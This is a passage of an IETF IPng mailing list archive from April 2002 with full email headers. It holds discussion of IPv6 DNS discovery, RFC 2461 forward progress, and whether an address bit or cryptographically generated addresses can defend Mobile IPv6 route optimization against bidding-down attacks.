(engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g352eDKL019734 for ; Thu, 4 Apr 2002 18:40:13 -0800 (PST) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA14751 for ; Thu, 4 Apr 2002 18:40:16 -0800 (PST) Received: from funnel.cisco.com (funnel.cisco.com [161.44.168.79]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA19403 for ; Thu, 4 Apr 2002 18:40:15 -0800 (PST) Received: from rdroms-w2k.cisco.com (rtp-vpn2-349.cisco.com [10.82.241.93]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id VAA27451 for ; Thu, 4 Apr 2002 21:40:11 -0500 (EST) Message-Id: <4.3.2.7.2.20020404213127.035ae148@funnel.cisco.com> X-Sender: rdroms@funnel.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 04 Apr 2002 21:40:06 -0500 To: ipng@sunroof.eng.sun.com From: Ralph Droms Subject: Re: Stateless DNS discovery draft In-Reply-To: <2012.1017973554@itojun.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Either the CPE or the provider edge device could perform a relay function. The relay function is not described as part of draft-ietf-ipv6-dns-discovery-04.txt. How, exactly would it work? In my opinion, the relay function defeats the "zero configuration" goal of the DNS Discovery mechanism, as it requires configuration - either in the CPE or the PE device - to select that DNS forwarding should be enabled across sites and how that forwarding should take place. - Ralph At 11:25 AM 4/5/2002 +0900, itojun@iijlab.net wrote: > >I think the third scenario is likely to be problematic. > > > >My understanding is that your third scenario would > >require that the customers' networks all be part of > >the same site as the ISP network - at least as far in > >as a DNS server somewhere. I imagine some ISPs > >might want to draw a site boundary somewhere > >between the ISP edge and the CPE; either in the > >CPE or in the ISP edge device or by declaring the > >CPE-PE link to be not in either site... > > if CPE can become dual-sited (participate into ISP's site and > customer's site) it can relay DNS query requests/responses between > clients in customer's site to DNS server in the ISP. > >itojun >-------------------------------------------------------------------- >IETF IPng Working Group Mailing List >IPng Home Page: http://playground.sun.com/ipng >FTP archive: ftp://playground.sun.com/pub/ipng >Direct all administrative requests to majordomo@sunroof.eng.sun.com >-------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 23:13:41 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g357DfKL020489; Thu, 4 Apr 2002 23:13:41 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g357Df7v020488; Thu, 4 Apr 2002 23:13:41 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g357DcKL020481 for ; Thu, 4 Apr 2002 23:13:38 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA00018 for ; Thu, 4 Apr 2002 23:13:41 -0800 (PST) Received: from Mistralsoftware.com (ptil-243-146-ban.primus-india.net [203.196.146.243] (may be forged)) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id AAA23317 for ; Fri, 5 Apr 2002 00:13:37 -0700 (MST) Received: from arun [192.168.15.76] by mistralsoftware.com [192.168.10.12] with SMTP (MDaemon.PRO.v5.0.0.R) for ; Fri, 05 Apr 2002 12:52:07 +0530 Message-ID: <002001c1dc97$e325eb10$4c0fa8c0@satyam.net.in> From: "Arun" To: References: <4DA6EA82906FD511BE2F00508BCF053802C6ABC8@Esealnt861.al.sw.ericsson.se> <3CAB0F1F.CE9DB679@hursley.ibm.com> <4.3.2.7.2.20020403112809.0254d948@mailhost.iprg.nokia.com> <3CABF714.4010400@nomadiclab.com> <3CAC9B07.2060107@nomadiclab.com> Subject: forward progress reg Date: Fri, 5 Apr 2002 12:49:04 +0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_001D_01C1DCA0.44CBCE90" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-MDRemoteIP: 192.168.15.76 X-Return-Path: arun@mistralsoftware.com X-MDaemon-Deliver-To: ipng@sunroof.eng.sun.com Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_001D_01C1DCA0.44CBCE90 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all, =20 I am prety new to this working group. I have a question = regarding forward progress described in the RFC 2461. At what instance = of a connection , TCP or anyother connection oriented protocol will = inform the IP about a forward in progress?.=20 RFC 2461 says=20 " When possible, upper-layer protocols provide a positive confirmation = that a connection is making "forward progress", that is, previously = sent data is known to have been delivered correctly (e.g., new = acknowledgments were received recently). " What time should IP expect this hints from the upper layer protocol = ? Will it be with all the packets sent from the upper layer or do we = have any mechanism like a setsockopt () so that the upper layer can = inform the IP about the forward progress? Please help. Thank You in advance (Arun Jose) ------=_NextPart_000_001D_01C1DCA0.44CBCE90 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

 Hi=20 all,
   =20    
        I am prety new = to this=20 working group. I have a question regarding  forward progress described in the RFC 2461. At=20 what instance of a connection , TCP or anyother connection = oriented=20 protocol will inform the IP about a forward in progress?.
 
RFC 2461 says =
 
" =20 When possible, upper-layer protocols provide a positive confirmation = that a=20 connection is making "forward progress", that is,  previously sent = data is=20 known to have been delivered correctly (e.g.,   new = acknowledgments=20 were received recently).  "
    What=20 time should IP expect this hints from the upper layer protocol ? Will it = be with=20 all the packets sent from the upper layer or do we have any = mechanism like=20 a setsockopt () so that the upper layer can inform the IP about the = forward=20 progress? Please help.
 
 
Thank You in=20 advance
 
(Arun = Jose)
 
------=_NextPart_000_001D_01C1DCA0.44CBCE90-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 5 01:12:49 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g359CnKL020737; Fri, 5 Apr 2002 01:12:49 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g359CmKV020736; Fri, 5 Apr 2002 01:12:48 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g359CjKL020729 for ; Fri, 5 Apr 2002 01:12:45 -0800 (PST) Received: from nasnfs.Eng.Sun.COM (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA21397; Fri, 5 Apr 2002 01:12:47 -0800 (PST) Received: from sun.com (dhcp-gnb03-212-225.France.Sun.COM [129.157.212.225]) by nasnfs.Eng.Sun.COM (8.10.2+Sun/8.10.2) with ESMTP id g359CfL03339; Fri, 5 Apr 2002 01:12:41 -0800 (PST) Message-ID: <3CAD6A39.EFD1FEF0@sun.com> Date: Fri, 05 Apr 2002 11:11:21 +0200 From: gabriel montenegro Reply-To: gab@sun.com X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Jari Arkko CC: Keith Moore , Pekka Nikander , "Hesham Soliman (ERA)" , Bob Hinden , ipng@sunroof.eng.sun.com Subject: Re: Using "a bit" as a protection against bidding down / for some thing else References: <200204041940.g34JeKZ20905@astro.cs.utk.edu> <3CACA556.9030007@kolumbus.fi> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Jari Arkko wrote: > It's probably best > to get the mentioned draft out, and deal with all the points that > have been raised, and then get back to the issue. I just submitted the draft: Abstract Mobile IPv6 uses "return routability" to secure route optimization. Even after using this procedure, there are residual threats for which other stronger methods provide protection. Since these are optional, and return routability is the default, an attacker may engage in "bidding down" attacks. These attacks aim at coercing participants in Mobile IPv6 route optimization to forgo the stronger methods for the default return routability. This document discusses what the participants in route optimization can do to deter or alleviate bidding down attacks: the "step down" procedure for the mobile node and the "bit method" at the correspondent node. Before the official announcement you can also find it at: http://www.piuha.net/~jarkko/publications/mipv6/draft-montenegro-mipv6sec-bit-method-00.txt tnx, -gabriel -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 5 01:44:55 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g359itKL020896; Fri, 5 Apr 2002 01:44:55 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g359itGu020895; Fri, 5 Apr 2002 01:44:55 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g359ioKL020888 for ; Fri, 5 Apr 2002 01:44:51 -0800 (PST) Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11]) by bebop.France.Sun.COM (8.11.6+Sun/8.10.2/ENSMAIL,v2.2) with SMTP id g359ihx21893; Fri, 5 Apr 2002 11:44:43 +0200 (MEST) Date: Fri, 5 Apr 2002 10:42:19 +0200 (CEST) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: Using "a bit" as a protection against bidding down / for something else To: Brian E Carpenter Cc: "Hesham Soliman (ERA)" , "'Pekka Nikander'" , gab@Sun.COM, Jari Arkko , ipng@sunroof.eng.sun.com, Erik Nordmark In-Reply-To: "Your message with ID" <3CAC1AE0.C00B159B@hursley.ibm.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > It seems to me that the important point is that a host needs > to assert something about the strength of security it requires. Yes, but other ways to assert security properties between unrelated nodes in the Internet require a global PKI. If we had a global PKI today or were rather certain we'll have one in 10 years I think we can stop this discussion. > This is a property of a host, not a property of an address. > I become more and more convinced that asserting this property > via an address bit is both unnecessary (it can be done by > a header field that is equally subject to authentication) > and undesirable (overloading). I don't understand the authentication comment. *If* there was a global PKI so that IPsec could be used for these packets then the information could go in other parts of the packet. Without it the address (i.e. the "identity" from the perspective of modifying routing in MIPv6, neighbor discovery, and anycast) seems to be only place. What am I missing? Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 5 01:48:49 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g359mnKL021002; Fri, 5 Apr 2002 01:48:49 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g359mmPw021001; Fri, 5 Apr 2002 01:48:48 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g359mjKL020994 for ; Fri, 5 Apr 2002 01:48:45 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA07277 for ; Fri, 5 Apr 2002 01:48:48 -0800 (PST) Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA02400; Fri, 5 Apr 2002 02:48:47 -0700 (MST) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id LAA47772; Fri, 5 Apr 2002 11:48:32 +0200 Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by d12relay02.de.ibm.com (8.11.1m3/NCO/VER6.00) with SMTP id g359mUs47722; Fri, 5 Apr 2002 11:48:30 +0200 Received: from dhcp22-167.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA41552 from ; Fri, 5 Apr 2002 11:48:23 +0200 Message-Id: <3CAD72CF.D3F738EF@hursley.ibm.com> Date: Fri, 05 Apr 2002 11:47:59 +0200 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: gab@sun.com Cc: Pekka Nikander , "Hesham Soliman (ERA)" , Jari Arkko , ipng@sunroof.eng.sun.com, Erik Nordmark Subject: Re: Using "a bit" as a protection against bidding down / for somethingelse References: <4DA6EA82906FD511BE2F00508BCF053802C6ABC8@Esealnt861.al.sw.ericsson.se> <3CAB0F1F.CE9DB679@hursley.ibm.com> <3CAB1D1D.6000803@nomadiclab.com> <3CAC1947.7D1C7123@hursley.ibm.com> <3CAC20D3.82C53628@sun.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka Nikander wrote: ... > Step 1. Detect if the client wants to use the default > authorization mechanism, i.e. RR, or something > stronger. gabriel montenegro wrote: .... > > Think of "strong" addresses as expressing 2 things to the peer: > > "(1) I do not engage in redirection operations on my address, or, if I do, > (2) I only do so with cryptographically strong mechanisms in which I will prove to your > satisfaction that I do have authorization to use that address" I agree that embedding this semantics in the address is a way of achieving Step 1. But after reading lots of mail, and a preview (thanks!) of Gabriel's draft, I'm still stuck, as Tony Hain seems to be, on why this is the only way. As far as I can see, what is needed is a bit in the *packet*, not necessarily a bit in the address. Whether the bit is in the address or not doesn't affect the MitM's ability to fake it, or whether it can be cryptograhically verified. (Note - I'm not arguing about generating the IID field itself by some cryptographic technique as Gabriel describes. Architecturally, that should be 64 opaque bits anyway.) Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 5 02:14:08 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35AE7KL021055; Fri, 5 Apr 2002 02:14:08 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g35AE7TQ021054; Fri, 5 Apr 2002 02:14:07 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35AE4KL021047 for ; Fri, 5 Apr 2002 02:14:04 -0800 (PST) Received: from nasnfs.Eng.Sun.COM (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA14026; Fri, 5 Apr 2002 02:14:07 -0800 (PST) Received: from sun.com (dhcp-gnb03-212-225.France.Sun.COM [129.157.212.225]) by nasnfs.Eng.Sun.COM (8.10.2+Sun/8.10.2) with ESMTP id g35AE3L03798; Fri, 5 Apr 2002 02:14:03 -0800 (PST) Message-ID: <3CAD7894.BEF29329@sun.com> Date: Fri, 05 Apr 2002 12:12:36 +0200 From: gabriel montenegro Reply-To: gab@sun.com X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Brian E Carpenter CC: Pekka Nikander , "Hesham Soliman (ERA)" , Jari Arkko , ipng@sunroof.eng.sun.com, Erik Nordmark Subject: Re: Using "a bit" as a protection against bidding down / for somethingelse References: <4DA6EA82906FD511BE2F00508BCF053802C6ABC8@Esealnt861.al.sw.ericsson.se> <3CAB0F1F.CE9DB679@hursley.ibm.com> <3CAB1D1D.6000803@nomadiclab.com> <3CAC1947.7D1C7123@hursley.ibm.com> <3CAC20D3.82C53628@sun.com> <3CAD72CF.D3F738EF@hursley.ibm.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Brian E Carpenter wrote: > Pekka Nikander wrote: > ... > > Step 1. Detect if the client wants to use the default > > authorization mechanism, i.e. RR, or something > > stronger. > > gabriel montenegro wrote: > .... > > > > Think of "strong" addresses as expressing 2 things to the peer: > > > > "(1) I do not engage in redirection operations on my address, or, if I do, > > (2) I only do so with cryptographically strong mechanisms in which I will prove to your > > satisfaction that I do have authorization to use that address" > > I agree that embedding this semantics in the address is a way of achieving Step 1. > But after reading lots of mail, and a preview (thanks!) of Gabriel's draft, > I'm still stuck, as Tony Hain seems to be, on why this is the only way. It's not. We added some text at the beginning of section 3.2 of the draft to mention other ways of doing it, but we may have missed one to clarify your question above. But I have a question for you: when you say that it's enough to put the bit in the packet (instead of the address) which of the two are you implying?: 1. Don't see what residual threats there are. 2. I see the residual threats, but I think we can live with them. If it's 2, then, cool, we can agree to disagree, end of thread. If it's 1, then we can continue. -gabriel -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 5 03:26:54 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35BQsKL021182; Fri, 5 Apr 2002 03:26:54 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g35BQsEL021181; Fri, 5 Apr 2002 03:26:54 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35BQnKL021174 for ; Fri, 5 Apr 2002 03:26:50 -0800 (PST) Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11]) by bebop.France.Sun.COM (8.11.6+Sun/8.10.2/ENSMAIL,v2.2) with SMTP id g35BQdx28590; Fri, 5 Apr 2002 13:26:40 +0200 (MEST) Date: Fri, 5 Apr 2002 13:26:17 +0200 (CEST) From: Erik Nordmark Reply-To: Erik Nordmark Subject: RE: Using "a bit" as a protection against bidding down / for something else To: Tony Hain Cc: Pekka Nikander , Jari Arkko , Brian E Carpenter , "Hesham Soliman (ERA)" , gab@Sun.COM, ipng@sunroof.eng.sun.com, Erik Nordmark In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > I am sorry, but this is misguided. Current nodes will never care about > CGA, so they won't try to verify them. New nodes can verify the > addresses, so they know the originator either cared because the CGA > matched, or didn't care or was incapable of generating a CGA. In either > case it has the appropriate info to decide to accept or reject. Tony, I wonder if this use of words like "misguided" is a case of strong words covering up a weak argument. Can we have a technical discussing without such adjectives please. One of the issues here is that 5 years from now, if an MN cares about the security that the existing (old) MIPv6 correspondent nodes require for BUs for that MNs home address, how can the MN express it? If you leave this decision up to the CN things are quite different. Perhaps you don't think it is necessary for the MN to be able to express this. But it is the packets to that MN that are being "redirected" by an attacker. Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 5 03:32:06 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35BW5KL021204; Fri, 5 Apr 2002 03:32:05 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g35BW5jh021203; Fri, 5 Apr 2002 03:32:05 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35BW2KL021196 for ; Fri, 5 Apr 2002 03:32:02 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA02377 for ; Fri, 5 Apr 2002 03:32:03 -0800 (PST) Received: from albatross.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [193.180.251.46]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA12868 for ; Fri, 5 Apr 2002 04:32:01 -0700 (MST) Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61]) by albatross.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g35BW03G008876 for ; Fri, 5 Apr 2002 13:32:00 +0200 (MEST) Received: FROM esealnt400.al.sw.ericsson.se BY esealnt461 ; Fri Apr 05 13:31:28 2002 +0200 Received: by esealnt400 with Internet Mail Service (5.5.2653.19) id <2JBTBFSJ>; Fri, 5 Apr 2002 13:31:29 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6AC2A@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Tony Hain'" , Pekka Nikander Cc: Jari Arkko , Brian E Carpenter , "Hesham Soliman (ERA)" , gab@Sun.COM, ipng@sunroof.eng.sun.com, Erik Nordmark Subject: RE: Using "a bit" as a protection against bidding down / for some thing else Date: Fri, 5 Apr 2002 13:31:27 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > The point we are violently disagreeing on here is only the value of > using a distinct address format as the flag. The receiving > application > either requires a CGA address for validation or it doesn't. > There is no > inbetween here. If the receiver requires CGA for validation > and does not > have a matching PK, the connection will be rejected. => Just one point to clarify here. The bidding down attack can take place _before_ the node has a chance to send any pk. So the scenario you mention will only happen when there is no bidding down during the negotiation phase. The node does not necessarily send the pk in the first message. Hesham > > > > > If we do *not* do this distinction, a Man-in-the-Middle can claim, > > for *any* IP address, that CGA (or something similar) is not used. > > That reduces the security of all addresses to the same base line, > > effectively creating a situation where CGA (or similar) does not > > provide any additional value at all. Ergo, *something* > that divides > > the IP address set into two distinct sets *is* needed, or > otherwise > > CGA and related methods bring no additional value. > > The man-in-the-middle can't do anything if there are no bits to > manipulate. Either the reciever has a matching PK or it > doesn't. All it > has to do is check, and there is nothing that an attacker can do to > invalidate the process. > > > > > If everybody agrees that CGA (and any security that is *not* based > > on an external infrastructure but on "intrinsic cryptography") > > is a bad idea, then fine with me. Let's forget this discussion. > > But then we are effectively saying that > zero-configuration security > > is a bad idea and we don't want it. > > I am not saying that CGA is a bad idea. On the contrary it > is a great > idea. All I am pointing out is that we don't need anything more than > RFC3041 to accomplish it. > > > > > Thus, this all is really about zero-configuration security. Such > > security, by nature, is never "strong" by the strict definition of > > strong, but it can be *much* stronger than the current no-security > > situation. Basically, such security can provide quite a lot of > > defence against various DoS attacks. > > > > This two-address-space thing is only required for those recipients > > that support both the current nodes with no understanding about > > zero-conf security and the future nodes that do care > about zero-conf > > security. As I noted before, it requires that the > initiator commits > > a priori either to the "weak" method or the "strong" method. > > I am sorry, but this is misguided. Current nodes will never > care about > CGA, so they won't try to verify them. New nodes can verify the > addresses, so they know the originator either cared because the CGA > matched, or didn't care or was incapable of generating a > CGA. In either > case it has the appropriate info to decide to accept or reject. > > > > > The details differ, quite a lot in fact, depending on whether > > we speak about MIPv6 or something else, e.g. secure Neighbor > > Discovery. > > But the same need: dividing the address space into two > distinct sets, > > is there. Or at least that is my current understanding. > Maybe I am > > wrong. > > > > Personally, I do not believe that any bold statements help here. > > At least to me, this whole zero-conf security business is so new > > that at least I need to have very humble attitude here. I learn > > new issues all the time. On the other hand, IMHO we really want > > to go towards zero-conf security. And if we do, we need some kind > > of transition mechanism. Dividing the IPv6 address space seems to > > serve as an important piece of such a transition mechanisms. > > > > Of course, there are different ways of dividing the IPv6 address > > space. If everybody thinks that using a bit in the IID is a bad > > idea, then maybe we should consider distinct routing prefixes for > > mobile hosts, and distinct link local addresses for secure ND. > > All that is doing is asking for a set of bits. Bits are not > the problem > here. The receiver has to check for CGA validation if it cares, so > adding bits does not help. > > Tony > > > > > --Pekka > > > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 5 10:52:28 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35IqSKL022714; Fri, 5 Apr 2002 10:52:28 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g35IqSfh022713; Fri, 5 Apr 2002 10:52:28 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35IqOKL022706 for ; Fri, 5 Apr 2002 10:52:24 -0800 (PST) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA13691 for ; Fri, 5 Apr 2002 10:52:25 -0800 (PST) Received: from tndh.net (evrtwa1-ar8-4-60-069-145.evrtwa1.vz.dsl.gtei.net [4.60.69.145]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA24657 for ; Fri, 5 Apr 2002 10:52:25 -0800 (PST) Received: from eagleswings (127.0.0.1) by tndh.net (127.0.0.1) with [XMail 1.3 (Win32/Ix86) ESMTP Server] id for from ; Fri, 05 Apr 2002 10:52:22 -0800 From: "Tony Hain" To: "Erik Nordmark" Cc: "Pekka Nikander" , "Jari Arkko" , "Brian E Carpenter" , "Hesham Soliman \(ERA\)" , , , "Erik Nordmark" Subject: RE: Using "a bit" as a protection against bidding down / for something else Date: Fri, 5 Apr 2002 10:52:22 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-Reply-To: Importance: Normal Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Erik Nordmark wrote: > One of the issues here is that 5 years from now, if an MN cares about > the security that the existing (old) MIPv6 correspondent nodes require > for BUs for that MNs home address, how can the MN express it? The semantics of a two way protocol can't be encoded in a single unidirectional bit. > If you leave this decision up to the CN things are quite different. The decision will always be up to the CN. Even with the proposed bit, all the MN can do is indicate its expectations and hope. If the MN really wants assurance, there will have to be a return message from the CN that indicates how it will handle any BU. If you are into a bi-directional protocol, address bits are not the place to encode it. > > Perhaps you don't think it is necessary for the MN to be able > to express > this. But it is the packets to that MN that are being "redirected" by > an attacker. > Yes, but there is nothing the MN can do about that without feedback from the CN about how it will handle a BU. Simply setting a bit does not assure that the CN will act acording to the MN's intentions. In draft-montenegro-mipv6sec-bit-method-00.txt, the point in 2.1.1 The hope is 